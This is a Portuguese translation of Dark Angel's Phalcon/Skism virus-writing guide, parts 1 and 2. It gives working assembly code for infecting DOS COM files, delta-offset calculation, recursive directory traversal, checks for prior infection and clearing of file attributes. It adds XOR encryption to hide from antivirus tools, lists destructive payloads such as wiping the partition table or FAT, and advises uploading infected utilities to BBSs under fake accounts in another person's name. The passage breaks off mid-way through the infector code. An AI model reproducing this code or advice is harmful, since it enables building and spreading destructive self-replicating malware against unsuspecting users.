C R I A N D O . V Í R U S
PHALCOM/SKISM GUIA DE CRIAÇÃO DE VÍRUS POR DARK ANGEL #1 Traduzido e engarrafado por LeBeau |
AVISO: O autor não se responsabiliza pelo mau uso desse
texto!
AVISO AOS LAMMERS: Esse texto está infectado com o virus
Good Times
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
DEDICATÓRIA: Esse
texto foi escrito para fazer as vidas de certas
pessoas , como Patty Hoffman, John McAffee, e Ross
Greenberg um verdadeiro inferno.
OTHER STUFF: Thanks go to The Shade of Sorrow,
Demogorgon, and Orion Rouge on their comments
(which I occasionally listened to!). Thanks
also to Hellraiser, who gave me an example of
some virus source code (his own, of course).
ONDE ENCONTRAR: Para encontrar esse guia e as futura
edições vá para:
http://lebeau.home.ml.org
EM CASO DE DÚVIDAS: lebeau@cyberspace.org (Não sou o autor mas manjo um
pouco de Assembly, portanto eu poderei não saber responder todas
as
questões)
Guia de criação de virus por Dark Angel |
Vírus são horríveis criações que foram escritas para se multiplicarem e destruírem os sistemas de idiotas incautos. Isso elimina dos sistemas todos os simplesões que não acham um problema quando um arquivo de 100 bytes transforma-se em um de 1000 bytes. Bah, esse imbecis não deveriam existir, sendo assim, é nosso trabalho sagrado varrer os discos rígidos deles da face da terra. É apenas uma questão de sobrevivência do mais forte.
Porque eu criei esse guia? Depois de escrever muitos virus, eu fiquei sabendo que os criadores de virus geralmente aprendem a criar virus atraves dos seus próprios vírus ou ao examinar o codigo dessassemblado de outros vírus. Existe uma falta incrível de informação no assunto. Mesmo livros publicados por grandes nomes tal como Burger, não mostram como são criados os vírus. Esse guia irá mostrar a você como criar um vírus e também irá dar a você um monte de códigos fontes para incluir em seu próprio vírus.
Criar vírus não é tão
difícl como você deve estar imaginando. Para escrever um vírus
efetivo, entretanto, você *deve* conhecer a linguagem assembly.
Pequeno, código compacto são marcas registradas da linguagem
assembly e essas são características desejáveis dos vírus.
Entretanto, *não* é necessário escrever em puro assembler. C
também pode ser usado, uma vez que ele permite quase controle
total no sistema enquanto gera código relativamente compacto (se
você ficar longe das bibliotecas de funções). Entretanto,
você deverá acessar as interrupções, assim conhecimento em
assembly continua necessário. Entretanto, ficar no assembly puro
é melhor, uma vez que muitas operações são mais facilmente
codificadas em assembly. Se você não conhece assembly, eu
recomendo pegar uma cópia da Bíblia Microsoft de Macro
Assembler (Nabajyoti Barkakati, ISBN #: 0-672-22659-6). É um
livro simples de seguir cobrindo o assembly com muitos detalhes.
Também pegar uma cópia de Undocumented DOS (Schulman, et al,
ISBN #0-201-57064-5), também seria muito útil.
A questão de qual compilador usar também é difícil. Eu sugiro usar o Borland Turbo Assembler e/ou Borland C++. Eu não tenho uma cópia do Zortech C (ele é muito grande para download), mas eu acho que ele é uma boa escolha. Fique longe dos compiladores Microsoft, uma vez que eles não são tão flexíveis nem eficientes como aqueles dos outros fabricantes.
Um pouco mais de itens rondam a lista de ferramentas que ajudam na construção de vírus. As últimas versões do Norton Utilities são uns dos programas mais poderosos disponíveis, e são imensamente necessários. TENHA CERTEZA QUE VOCÊ TENHA UMA CÓPIA! Você pode encontrar isso em qualquer BBS decente. O Norton é usado em cada passo do processo, da escrita até o teste. Bons helps sobre debugger. Utilitáris de controle de memória tais como MAPMEM, PMAP, e MARK/RELEASE, são utilitários sem valor, especialmente quando criando vírus TSR. Sourcer, o dissassemblador comentado, é útil para examinar o código de outros vírus (esse é um bom lugar para pegar idéias/técnicas para seu vírus).
Agora que você tem suas ferramentas, você está pronto para criar um trabalho de arte criado para esmagar os sistemas dos cretinos. Existem três tipos de vírus:
1) Vírus pequenos (abaixo
dos 500 bytes) que são feitos para serem indetectáveis devido
ao seu pequeno tamanho. TINY é um desses vírus. Eles são
geralmente muito simples devido ao fato que seu tamanho é muito
limitado.
2) Vírus Grandes (acima dos 1,500 bytes) que são feitos para
ser indetectáveis devido ao fato que eles cobrem seu rastro
muito bem (todo aquele código SERVE para algo!). O melhor
exempho desse é o vírus Whale, que é talvez o melhor vírus
'Stealth' atualmente.
3) Outros vírus que não são feitos para serem escondidos
totalmente (os escritores não ligam para isso). Os vírus comuns
são como esses. Todos os vírus que sobreescrevem estão nessa
categoria.
Você deve decidir que tipo de vírus você irá escrever. Eu irei tratar mais do segundo tipo (Vírus Stealth). Entretanto, muitas das técnicas descritas podem ser facilmente aplicadas para o primeiro tipo (vírus pequenos).Entretantos, os vírus pequenos geralmente não tem muitas das "qualidades" dos vírus maiores, tais como diretórios transversal. O terceiro tipo é mais um tipo de replicação de caválo de tróia, e irá garantir uma rápida (muito, muito rápida!) discussão mais tarde.
Um vírus pode ser dividido
em três partes: a replicação, a camuflagem, e a bomba. A parte
replicadora controla a multiplicação do vírus para outros
arquivos, a camuflagem evita o vírus de ser encontrado, e a
bomba apenas executa quando a condição de ativação do vírus
(more sobre isso mais tarde) são satisfeitas.
A REPLICAÇÃO |
O trabalho para a replicação é o de multiplicar o vírus através do sistema do cara que pegou o vírus. Como fazer isso sem destruir os arquivos que ele infecta? A forma mais fácil de fazer esse tipo de replicação é através da infecção de arquivos COM. Ele primeiro salva os primeiros bytes do arquivos infectado. Depois ele copia uma pequena parte de seu código para o início do arquivo, e o resto para o fim.
+---------+ +---------+
| P1 | P2 | | V1 | V2 |
+---------+ +---------+
Arquivo normal O código do vírus
No diagrama, P1 é a parte 1
do arquivo, P2 é a parte 2 do arquivo, e V1 e V2 são as partes
1 e 2 do vírus. Note que que o tamanho de P1 deve ser o mesmo do
que o tamanho de V1, mas o tamanho de P2 não deve ser
necessariamente o mesmo de V2. O vírus primeiro salva P1 e copia
ele para:
1) O fim do arquivo ou
2) dentro do código do vírus. Vamos assumir que ele copia o
código para o fim do arquivo. Esse arquivo agora agora está
assim:
+--------------+
| P1 | P2 | P1 |
+--------------+
Então, o vírus copia a primeira parte de si próprio para o início do arquivo.
+--------------+
| V1 | P2 | P1 |
+--------------+
Finalmente, o vírus copia a segunda parte de si próprio para o fim do arquivo. A cópia final, o arquivo infectado fica parecendo assim:
+-------------------+
| V1 | P2 | P1 | V2 |
+-------------------+
A questão é: Que diabos fazem V1 e V2? V1 transferem controle do programa para V2. O código para fazer isso é simples.
JMP FAR PTR Duh ; Takes four
bytes
Duh DW V2_Start ; Takes two bytes
Duh é um far pointer (Segmento:Offset) apontando para a primeira instrução de V2. Note que o valor de Duh deve ser modificada para refletir o tamanho do arquivo que está infectado. Por exemplo, se o tamanho original do programa é 79 bytes, Duh pode ser modificado assim a instrução em CS:[155h] é executada. O valor de Duh é obtido ao acrescentar o tamanho de V1, o tamanho original do arquivo infectado, e 256 (para contar para o PSP). Nesse caso, V1=6 e P1 + P2 = 79, assim 6 + 79 + 256 = 341 decimal (155 hex).
Um método alternado, muito mais difícil de entender segue-se:
DB 1101001b ; Código para o
JMP (deslocamento de 2 byte)
Duh DW V2_Start - OFFSET Duh ; deslocamento de 2 byte
Isso insere o offset jump diretamente no código seguido da instrução jump. Você também pode trocar a segunda linha com
DW V2_Start - $
que faz a mesma tarefa.
V2 contém o resto do código, i.e. o código que faz todo o resto. A última parte de V2 copia P1 sobre V1 (na memória, não no disco) e então transfere o controle para o início do arquivo (na memória). O programa original então roda feliz como se nada tivesse acontecido. O código para fazer é muito simples.
MOV SI, V2_START ; V2_START
é um rótulo marcando onde V2 inicia
SUB SI, V1_LENGTH ; Volta atras para onde P1 está armazenado
MOV DI, 0100h ; Todos os arquivos COM são carregados @ CS:[100h]
na memória
MOV CX, V1_LENGTH ; Move CX bytes
REP MOVSB ; DS:[SI] -> ES:[DI]
MOV DI, 0100h
JMP DI
Esse código assume que P1 está localizado logo após V2, como aqui:
P1_Stored_Here:
.
.
.
V2_Start:
Isso também assume ES igual a CS. Se essas instruções são falsas, mude o código de acordo. Aqui vai um exemplo:
PUSH CS ; armazena CS
POP ES ; e move isso para ES
; Note MOV ES, CS não é uma instrução instrução válida
MOV SI, P1_START ; Move de onde P1 está armazenado
MOV DI, 0100h ; para CS:[100h]
MOV CX, V1_LENGTH
REP MOVSB
MOV DI, 0100h
JMP DI
Esse código primeiro move CS para ES e então seta o pointer fonte de MOVSB para onde P1 está localizado. Lembre-se que isso tudo está pegando lugar na memória, assim você precisa o OFFSET de P1, não apenas a localização física do arquivo. O offset de P1 é 100h maior do que a localização física do arquivo, uma vez que arquivos COM são carregados a partir de CS:[100h].
Assim aqui está um sumário das partes do vírus e localização dos rótulos:
V1_Start:
JMP FAR PTR Duh
Duh DW V2_Start
V1_End:
P2_Start:
P2_End:
P1_Start:
; Primeira parte do programa armazenado aqui para uso futuro
P1_End:
V2_Start:
; Programa Real
V2_End:
V1_Length EQU V1_End - V1_Start
Alternativamente, você pode armazenar P1 em V2 como segue:
V2_Start:
P1_Start:
P1_End:
V2_End:
É isso esquema para infectar um arquivo COM sem destruir ele! Simples, não? Arquivos EXE, entretanto, são um pouco mais difíceis de infectar sem deixar eles inexecutáveis - Eu irei cobrir esse tópico em um arquivo mais tarde.
Agora nós iremos voltar
nossa atenção para a porção replicadora do vírus.
Os passos são mostrados abaixo:
1) Encontrar um arquivo para
infectar
2) Checar se ele já está infectado
3) Se sim, voltar para 1
4) Infectar ele
5) Se já infectou arquivos que chegam então sai.
6) Senão, volta para 1
Encontrar um arquivo para infectar é uma forma simples de escrever um procedimento de diretórios transversais e pode-se instruir chamadas FINDFIRST e FINDNEXT para encontrar arquivos possíveis para infectar. Uma vez que você encontra um arquivo, abra ele e leia os primeiros poucos bytes. Se eles são os mesmos que os primeiros bytes V1, então o arquivo já está infectado. Se o bytes de V1 não são exclusivos de seu vírus então mude ele assim eles serão. É *extremamente* importante que seu vírus não reinfecte os mesmos arquivos, uma vez que foi dessa forma que o Jerusalem foi detectado pela primeira vez. Se o arquivos não estavam infectado, então infecte-o! Infecção deverá ter os seguintes passos:
1) Mudar os atributos do
arquivo para nada.
2) Salvar a data/hora do arquivo.
3) Fechar o arquivo.
4) Abra ele de novo em modo de leitura/gravação.
5) Salve P1 e acrescente ele no fim do arquivo.
6) Copie V1 para o início, mas modifique o offset para onde ele
JMPs (pula) assim ele transfere o controle corretamente.
7) Anexar V2 no fim do arquivo.
8) Restaure atributos do arquivo e a data/hora.
Você pode manter um contador de número de arquivos infectados durante essa rodada. Se o número excede, digamos 3, então pare. É melhor infectar aos pouco do que se deixar descobrir ao tentar infectar todo o drive de uma vez só.
Você deve cobrir todos os seus rastros quando você infecta um arquivo. Salve os atributos do arquivo originais mais a data e hora e restaure eles quando você terminar. ISSO É MUITO IMPORTANTE! Isso pega 50 a 75 bytes de código, provavelmente menos, para fazer essas poucas coisas que fazem maravilhas na hora de esconder seu programa.
Eu irei incluir o código para a função de diretório transversal, assim como outras partes do replicador na próxima edição do meu Guia de Vírus.
CAMUFLANDO |
Esta é a parte
que camufla o programa para não ser encontrado pelo usuário de
todo dia e pelos anti-vírus. As forma mais simples de camuflagem
é a encriptação.
O código para uma encriptação simples em XOR segue:
encrypt_val db ?
decrypt:
encrypt:
mov ah, encrypt_val
mov cx, part_to_encrypt_end
- part_to_encrypt_start
mov si, part_to_encrypt_start
mov di, si
xor_loop:
lodsb ; DS:[SI] -> AL
xor al, ah
stosb ; AL -> ES:[DI]
loop xor_loop
ret
Note que os procedimentos de encriptação e desencriptação são as mesmas. Isso é devido a natureza louca do XOR. Você pode chamar (CALL) esses procedimentos de qualquer lugar no programa mas tenha certeza que não chame ele de um lugar de dentro da área a ser encryptada, pois o programa irá dar erros. Quando escrever o vírus, mude o valor de encriptação para 0. part_to_encrypt_start e part_to_encrypt_end indicam a parte que você deseja encriptar. Use uma chama decrypt no início de V2 para desencriptar o arquivo assim seu programa pode rodar. Quando Infectar um arquivo, primeiro mude o encrypt_val, depois chame encrypt, depois escreva V2 para o fim do arquivo, e chame decrypt. TENHA CERTEZA QUE ESSA PARTE NÃO ESTEJA NA ÁREA QUE VAI SER ENCRIPTADA!!!
Aqui está como V2 irá parecer com a camuflagem:
V2_Start:
Concealer_Start:
.
.
.
Concealer_End:
Replicator_Start:
.
.
.
Replicator_End:
Part_To_Encrypt_Start:
.
.
.
Part_To_Encrypt_End:
V2_End:
Alternativamente, você pode mover partes do código não-encriptado entre Part_To_Encrypt_End e V2_End.
O valor da encriptação é somente aparente. Encriptação torna a tarefa dos anti-vírus difícil para encontrar seu vírus. Ele também esconde algumas cadeias de textos localizadas em seu programa. Esta é a forma mais fácil e curta de esconder seu vírus.
Encriptação é apenas uma forma de camuflar o vírus. Há vírus que alteram as interrupções do DOS e altera a saída de dados do DIR, assim os tamanhos do arquivo aparecem normais. Outra forma de camuflar (Para vírus TSR) é alterar o DOS assim utilitários de memória não detectam o vírus. Carregar o vírus em certas partes da memória permitem que eles sobrevivam a um reboot. Existem muitas técnicas de camuflagem do vírus, limitadas apenas pela imaginação do escritor.
A BOMBA |
Bom, agora que toda a parte chata está feita. A coisa indecente está contida aqui. A parte do vírus que faz todas as deleções/slowdown/etc que deixam os vírus tão incomodáveis. De alguma condições de ativação para o vírus. Isso pode ser qualquer coisa, indo da data de seu aniversário até quando o vírus infectou 100 arquivos. Quando essas condições se concretizam, então o seu vírus executa a bomba. Alguma sugestões de bombas possíveis:
1) Deixar o
sistema mais lento - facilmente feito ao capturar uma
interrupção e causar um delay quando ela ativa.
2) Deleção de arquivos - Deletar todos os arquivos ZIP do
drive.
3) Mostrar messagens - Mostrar uma messagem legal tipo dissendo
algo de mesmo efeito de: "Você está fodido"
4) Apagar/Trocar as tabelas de partição/Setor de Boot/FAT do
disco rígido - isso é muito mal, e muitos idiotas não
conseguem arrumar isso.
Esse é, com certeza, a parte engraçada de escrever um vírus, então seja original!
PROBLEMAS COM O OFFSET |
Existe um problema no cálculo de offsets. Depois de você infectar um arquivos, os locais das variáveis mudam. Você TEM que contar isso. Todos offsets relativos podem ficam o mesmo, mas você tem que acrescentar o tamanho do arquivo para os offsets absolutos ou seu programa não vai funcionar. Essa é a parte mais complicada ao escrever o vírus e levar isso em conta irá aumentar grandemente o tamanho do vírus. ISSO É MUITO IMPORTANTE E VOCÊ DEVE ESTAR ENTENDENDO ISSO ANTES DE TENTAR ESCREVER UM QUE NÃO SOBREESCREVE OS PROGRAMAS! Se você não o fizer, você vai se fuder e o seu vírus NÃO VAI TRABALHAR! Uma parte inteira desse guia vai ser devotado para esse problema.
TESTANDO |
Testar o vírus é uma parte perigosa mas essential no processo de criação de vírus. É para se ter certeza que pessoas *irão* ser prejudicadas pelo vírus. Teste-o em todas as condições e tenha certeza que ele ativa-se dentro das condições. Isso pode ser me melhor feito se você ou algum amigo tiver um segundo computador para testas o vírus, mas, é claro, esse não é o nosso caso. Assim, é ESSENCIAL que você mantenha cópias de segurança de seus arquivos, partição, boot record, e FAT. Norton é ótimo em fazer isso. Nao esqueça esse aviso porque você SERÁ atingido pelo seu próprio vírus. Quando eu fiz me primeiro vírus, meu sistema foi abaixo por dois dias porque eu não tinha boas cópias de segurança. Com sorte, o vírus não era muito destrutivo. Eu encontrei no RamDrive uma ótima forma de testar os vírus, uma vez que os danos não são permanente. RamDrive também é ótimo para testar Cávalos de Tróia, mas esse é um tópico para outro arquivo...
DISTRIBUINDO |
Essa é outra parte interessante da escrita de vírus. Isso envolve enviar seu programa brilhantemente feito através das linha de telefone para a sua BBS local. O que você deve fazer é infectar um arquivo que faz algo interessante (pegue algum utilitário útil de outra BBS), infecte ele e dê um upload nele para o local onde ele será copiado por usuários de todo lugar. A melhor coisa que seu vírus tem é que ele não é detectado por anti-vírus idiotas como o da McAffee, uma vez que ele é novo! E é claro, tenha certeza que você está usando uma conta falsa (duh). Melhor ainda, crie uma conta false com o nome/número de telefone de alguém que você não goste e upload o arquivo infectado com o nome dele. Você pode ligar de volta de tempos em tempos e usar uma porta como a ZDoor para checar a multiplicação do seu vírus. Quantos mais copiaram seu vírus, mais compartilharam a experiência do seu vírus!
Eu prometi uma breve seção em vírus que sobreescrevem programas, assim, aqui esta ela...
VÍRUS QUE SOBREESCREVEM PROGRAMA (OVERWRITING) |
Tudo o que esse vírus faz é espalhar-se pelo sistema. Eles deixar os arquivos infectados inutilizados, assim eles são facilmente detectados. É muito simples fazer um:
+------------+ +------+
+------------+
| Programa | + |Vírus | = |Vírus|ama |
+------- ----+ +------+ +------------+
Esses vírus são pequenos, mas muito fáceis de serem detectados. Isso é o suficiente saber!
BOM, É ISSO!!! |
Espero que você tenha gostado da primeira edição de Guia de Criação de Vírus. Irá ter (com sorte) futuras edições onde eu discutirei mais sobre vírus e irei incluir muito mais código fonte. Até lá, Happy Coding!!!
PHALCOM/SKISM GUIA DE CRIAÇÃO DE VÍRUS POR DARK ANGEL #2 Traduzido e engarrafado por LeBeau |
AVISO: Deveria ter um
aviso aqui.
99.44% do código deve funcionar.
GREETS -N- STUFF:
Greets go to all the members
of PHALCON/SKISM. I wish to give buckets o'
thanks to Hellraiser, Garbageheap, and Demo-
gorgon. No thanks this time to Orion Rouge,
the godly master of idiocy.
Guia de Criação de Vírus por Dark Angel
ONDE ENCONTRAR: Para
encontrar esse guia e as futura edições vá para:
http://lebeau.home.ml.org
EM CASO DE DÚVIDAS: lebeau@cyberspace.org (Não sou o autor mas manjo um
pouco de Assembly, portanto eu poderei não saber responder todas
as
questões)
REPLICAÇÃO Parte 2 |
Na última parte do meu guia de criação de vírus, eu mostrei
os vários tipos de vírus e fiz uma breve discussão sobre cada.
Nessa edição, eu deverei devotar toda a minha atenção sobre a
porção replicadora do vírus. Eu prometi código e código eu
estou apresentando.
Entretanto, eu devo me afastar um momento porque chegou aos meus
ouvidos que algumas cópias piratas da primeira parte fora
inadvertidamente realizadas. Essas cópias não contém uma
seção vital que seria o cálculo de offsets.
Você nunca
sabe quando estão suas variáveis e o código está sumindo na
memória. Se você pensar um pouco, isso seria muito óbvio. Uma
vez que você está anexando o vírus para o fim de um programa,
a localização na memória esta sendo alterado, i.e. ele será
maior que o tamanho do arquivo infectado. Assim, para compensar,
nós devemos pegar a mudança no offset a partir do vírus
original, ou o offset delta, e acrescentar aquilo para todas as
referências de variáveis.
Instruções que usam deslocamentos, ex. offsets relativos, não
precisam ser modificados. Essas instruções são as classes JA,
JB, JZ de instruções, JMP, SHORT, label JMP, e CALL. Então,
Suponha nos exemplos seguintes, que si é algo carregado no
offset delta.
Trocar
mov ax, counter
Por
mov ax, word ptr [si+offset counter]
Trocar
mov dx, offset message
Por
lea dx, [si+offset message]
Você pode estar se perguntado, "Como diabos eu irei
encontrar o offset delta!?"
É muito simples:
call setup
setup:
pop si
sub si, offset setup
Uma explicação para o fragmento acima está vindo. CALL setup
empurra a localização para a próxima instrução, ou seja,
offset setup, indo para a pilha. Depois, essa instrução é
POPada em si. Finalmente, o offset ORIGINAL de setup (calculada
em tempo de compilação) é subtraída de si, dando a você o
offset delta. No vírus original, o offset delta irá ser 0, ou
seja a nova localização do setup igual a velha localização do
setup.
É preferível usar bp como seu offset delta, uma vez que si é
usado nas instruções de cadeia de caracteres. Use aquele que
você achar melhor. Eu irei aleatoriamente passar de um para
outro dependendo de como cada um se encaixa.
Agora de volta para a replicação...
Um vírus biológico é um organismo parasítico que usa seu
portador para multiplicar a si mesmo. Ele deve manter o portador
vivo para manter-se vivo. Apenas quando ele se multiplicou
demais, é que seu portador morre, morte horrível. Os vírus
eletrônicos modernos não são diferentes. Ele se acrescenta
para um sistema portador e se reproduz até que o sistema inteiro
esteja fodido. Ele então elegantemente demole o sistema do
idiota que estava com o vírus.
Replicação é aquilo que distingue um vírus de um simples
cavalo de tróia. Qualquer um pode fazer um cavalo de tróia, mas
um vírus é muito mais elegante. Ele age praticamente
invisível, e ele deixa a vítima sem defesas quando ele acaba
com o sistema. A primeira questão é, é claro, como um vírus
se multiplica? Tanto as infecções COM e EXE (com rotinas de
infecção de exemplo) deverão ser apresentadas.
Existem duas grandes variedades de vírus: runtime(tempo de
execução) e TSR(Terminate and Stay Resident, termina e continua
residente). Vírus de Runtime, infecta arquivos quando o programa
infectado está rodando, enquanto que os vírus TSR ficam
residentes quando o programa infectado é executado, ele então
captura as interrupções e infecta quando um arquivo é rodado,
aberto, fechado, e/ou durante a execução (i.e. INT 20h, INT
21h/41h). Existem vantagens e desvantagens em cada uma. Vírus
Runtime são difíceis de detectar uma vez que eles não aparecem
em mapas de memória, mas, olhando outro aspecto, o delay
enquanto ele procura arquivo e infecta um arquivo são um motivo
para o usuário suspeitar de que algo está saindo errado. Vírus
TSR, se não forem bem feitos, podem ser facilmente localizados
por utilitários como o MAPMEM, PMAP, etc, mas são em geral,
pequenos, desde que eles não precisem de função para procurar
por arquivos para infectar. Eles são mais rápidos do que vírus
runtime, sendo devido ao fato que eles não tem que procurar por
arquivos para infectar. Eu devo cobrir vírus runtime aqui, e
vírus TSR em uma edição futura.
Aqui está um sumário do procedimento de infecção:
1) Achar um arquivo para infectar.
2) Checar se ele possui os critérios para infecção.
3) Ver se ele já foi infectado, e se for, volte para 1.
4) Senão, infecte o arquivo.
5) Cubra seus rastros.
Eu devo passar por cada um desses passo e mostrar código de
exemplo para cada um. Note que praticamente um vírus completo
pode ser feito com a informação acima, você pode simplesmente
separar o código e juntar tudo depois, como os fragmentos são
de vários vírus diferentes que eu escrevi, você deve estar
familiar com assembly. Eu apresento fragmentos de códigos; você
que sabe se quer usar eles como exemplos ou modifica-los para seu
próprio vírus.
PASSO 1 - ENCONTRANDO UM ARQUIVO PARA INFECTAR |
Antes de infectar um arquivo, você terá que encontra-lo
primeiro! Isso é um passo decisivo na performance do vírus,
então isso deverá ser feito o mais eficiente quanto possível.
Para vírus runtime, existem algumas opções. Você pode
infectar arquivos apenas no diretório atual, ou você pode fazer
uma função de diretórios transversal para infectar arquivos em
TODOS os
diretórios (apenas alguns poucos arquivos por vez, é claro), ou
você pode infectar arquivos em alguns diretórios. Por que você
deve escolher apenas para infectar arquivos no diretório atual?
Isso é uma limitação da eficácia das infecções. Entretanto,
isso é feito em alguns vírus tanto para acelerar o processo
quanto para diminuir o tamanho do código.
Aqui está uma função de diretório transversal. Ele usa
recursividade, assim ele é um pouco lento, mas ele faz o
trabalho. Isso foi extraído com algumas modificações do Funky
Bob Ross Virus [Beta].
traverse_fcn proc near
push bp ; Create stack frame
mov bp,sp
sub sp,44 ; Alocar spaço para DTA
call infect_directory ; Vá para rotinas de encontrar e destruir
mov ah,1Ah ;Alterar DTA
lea dx,word ptr [bp-44] ; para distribuir o espaço
int 21h ;Faça isso agora!
mov ah, 4Eh ;Find first
mov cx,16 ;Mascara de diretório
lea dx,[si+offset dir_mask] ; *.*
int 21h
jmp short isdirok
gonow:
cmp byte ptr [bp-14], '.' ; Primeiro caracter == '.'?
je short donext ; Sim, faz um loop
lea dx,word ptr [bp-14] ; senão carregar dirname
mov ah,3Bh ; e mudar de diretório lá
int 21h
jc short donext ; Do next se inválido
inc word ptr [si+offset nest] ; nest++
call near ptr traverse_fcn ; diretório recursivo
donext:
lea dx,word ptr [bp-44] ; Carrega espaço alocado para DTA
mov ah,1Ah ; e configura DTA para essa nova área
int 21h ; Porque isso pode'cause it might have changed
mov ah,4Fh ;Find next
int 21h
isdirok:
jnc gonow ; Se OK, jmp para outro lugar
cmp word ptr [si+offset nest], 0 ; Se diretório raiz
; (nest == 0)
jle short cleanup ; então Quit
dec word ptr [si+offset nest] ; Senão decrementa nest
lea dx, [si+offset back_dir]; '..'
mov ah,3Bh ; Mudar de diretório
int 21h ; Para o próximo
cleanup:
mov sp,bp
pop bp
ret
traverse_fcn endp
; Variáveis
nest dw 0
back_dir db '..',0
dir_mask db '*.*',0
O código é auto-explicável. Tenha certeza de que você tem uma
função infect_directory que scaneia o diretório em busca de
arquivos para serem infectados e tenha certeza que ele não
infecte arquivos já infectados. Esta função, chama infect_file
que infecta o arquivo.
Note, como eu disse antes, isso é lento. Um método rápido,
não o melhor, é o método "ponto a ponto". Hellraiser
mostrou a mim esse pequeno truque. Basicamente, você continua
procurando em cada diretório e, se você não tiver infectado
arquivos suficientes, vá para o diretório anterior (ponto a
ponto) e tenta denovo, e assim vai. O código é simples.
dir_loopy:
call infect_directory
lea dx, [bp+dotdot]
mov ah, 3bh ; CHDIR
int 21h
jnc dir_loopy ; sair se está no diretório
; Variables
dotdot db '..',0
Agora você deve encontrar um arquivo para infectar. Isso é
feito (nos fragmentos acima) por uma função chamada
infect_directory. Essa função chama FINDFIRST e FINDNEXT uma
quantidade de vezes para encontrar arquivos para infectar. Você
deve primeiro configurar um novo DTA. NUNCA use o DTA no PSP (a
80h) porque alterando aquilo irá alterar os parâmetros da linha
de comando do programa infectado quando o controle é retornado a
ele. Isso é feito facilmento feito com o seguinte código:
mov ah, 1Ah ; Seta DTA
lea dx, [bp+offset DTA] ; para uma variável chamada DTA (wow!)
int 21h
Onde DTA é um pedaço de 42-byte de memória. Depois, fazer uma
série de chamadas FINDFIRST e FINDNEXT:
mov ah, 4Eh ; Procura primeiro arquivo
mov cx, 0007h ; Qualquer atributo do arquivo
lea dx, [bp+offset file_mask]; DS:[DX] --> máscara do arquivo
int 21h
jc none_found
found_another:
call check_infection
mov ah, 4Fh ; Procura próximo arquivo
int 21h
jnc found_another
none_found:
Onde file_mask é DBed tanto para '*.EXE',0 ou '*.COM',0.
Alternativamente, você pode usar FINDFIRST para '*.*',0 e checar
se a extensão é EXE ou COM.
PASSO 2 - CHECAGEM DE CRITÉRIOS DE INFECÇÃO |
Seu vírus deve ser esperto em sua infecção. Por exemplo, você
pode não querer infectar o COMMAND.COM, uma vez que alguns
programas (i.e. o maldito FluShot+) checa seu CRC ou checksum
quando executado. Aqui abaixo vai uma forma de como não infectar
o COMMAND.COM, ele checa se as últimas letras são
"ND":
cmp word ptr [bp+offset DTA+35], 'DN' ; Order Reversa da palavra
jz fail_check
PASSO 3 - CHECANDO POR INFECÇÃO ANTERIOR |
Todo vírus tem certas características que permitem que você a
você verificar se um arquivo já foi infectado. Por exemplo, um
pedaço de código pode aparecer em um certo lugar. Ou talvez a
instrução JMF estão sempre codificada da mesma forma. De outra
forma, você deve ter certeza que seu vírus possui um marcador,
assim múltiplas infecções no mesmo arquivo não ocorrem. Aqui
está um exemplo de uma checagem desse tipo (para um infector de
arquivo COM):
mov ah,3Fh ; Lê os primeiros 3
mov cx, 3 ; bytes do arquivo
lea dx, [bp+offset buffer] ; para o buffer
int 21h
mov ax, 4202h ; Procurar o fim do arquivo
xor cx, cx ; DX:CX = offset
xor dx, dx ; Retorna o tamanho do arquivo
int 21h ; em DX:AX
sub ax, virus_size + 3
cmp word ptr [bp+offset buffer+1], ax
jnz infect_it
bomb_out:
mov ah, 3Eh ; senão fecha o arquivo
int 21h ; e vai procurar outro
Nesse exemplo, BX é assumido para mexer com o arquivo a fim de
checar se foi infectado e se se o tamanho do vírus é igual ao
tamanho do vírus. Buffer é assumido para ser uma área de 3
bytes de espaço vazio. Esse fragmento de código lê os
primeiros 3 bytes no buffer e depois compara a localização do
JMP. (localizado no início do Word em buffer+1) e se o JMP está
a virus_size bytes antes do Fim do arquivo, então o arquivo já
está infectado com esse vírus. Outro método pode ser procurar
em uma certa localização no arquivo para um byte ou word
marcador. Por exemplo:
mov ah, 3Fh ;
Le os primeiros 4
mov cx, 4 ; bytes do arquivo
lea dx, [bp+offset buffer] ; no buffer.
int 21h
cmp byte ptr [buffer+3], infection_id_byte ; Checar o quarto
jz bomb_out ; byte para o marcador
infect_it:
PASSO 4 - INFECTAR O ARQUIVO |
Esse é o coração da replicação. Uma vez que você localizou
uma arquivo potencial, você deve salvar os atributos, hora, data
e tamanho para uso mais tarde. A parte abaixo é uma explicação
do DTA:
Offset Tamanho O que é
0h 21 BYTES Reservado, varias a cada versão do DOS
15h BYTE Atributo do Arquivo
16h WORD Hora do Arquivo
18h WORD Data do Arquivo
1Ah DWORD Tamanho do Arquivo
1Eh 13 BYTES ASCIIZ nome + extensão
Como você pode ver, o DTA contém todas as informações vitais
quanto ao arquivo que você precisa. O código abaixo é um
exemplo de como salvar as informações:
lea si, [bp+offset DTA+15h] ; Iniciar com atributos
mov cx, 9 ; Terminar com tamanho
lea di, [bp+offset f_attr] ; Mover para sua localizações
rep movsb
; Variáves necessárias
f_attr db ?
f_time dw ?
f_date dw ?
f_size dd ?
Você agora pode mudar os atributos do arquivo para nada através
de INT 21h/Função 43h/ Subfunção 01h. Isso é para permitir a
infecção de arquivos de sistema, escondidas e arquivos apenas
de leitura. Apenas vírus primitivos (ou minímos) não infectam
esses arquivos.
lea dx, [bp+offset DTA+1eh] ; DX aponta para nome do arquivo em
mov ax, 4301h ; DTA
xor cx, cx ; Limpar atributos do arquivos
int 21h ; Fazer a chamada
Uma vez que os atributos foram aniquilados, você pode abrir o
arquivo com impunidade. Use um acesso em modo ler/escrever.
lea dx, [bp+offset DTA+1eh] ; Use nome do arquivo no DTA
mov ax, 3d02h ; Abrir modo ler/escrever
int 21h ; duh.
xchg ax, bx ; Acesso é mais útil em
; BX
Agora nos chegamos na parte que você mais queria: a rotina de
infecção. Eu estou orgulhoso para apresentar códigos que irão
fazer a infecção em arquivos COM. Ahh, você diz, eu posso
fazer isso com a informação apresentada na edição anterior.
Ah, mas tem muito mais. Um exemplo de infector de EXE deverá se
apresentado rapidamente.
A teoria em infectar foi abordada na última edição, então eu
não devo entrar em detalhes de novo. Aqui está um infector de
exemplo:
; Exemplo de infector de COM. Assume que BX possuir o acesso ao
arquivo
; Assume que o arquivo COM passou pelos critérios de infecções
e não foi infectado ainda.
mov ah, 3fh
lea dx, [bp+buffer1]
mov cx, 3
int 21h
mov ax, 4200h ; Move o ponteiro do arquivo
xor cx, cx ; para o início do
xor dx, dx ; arquivo
int 21h
mov byte ptr [bp+buffer2], 0e9h ; JMP
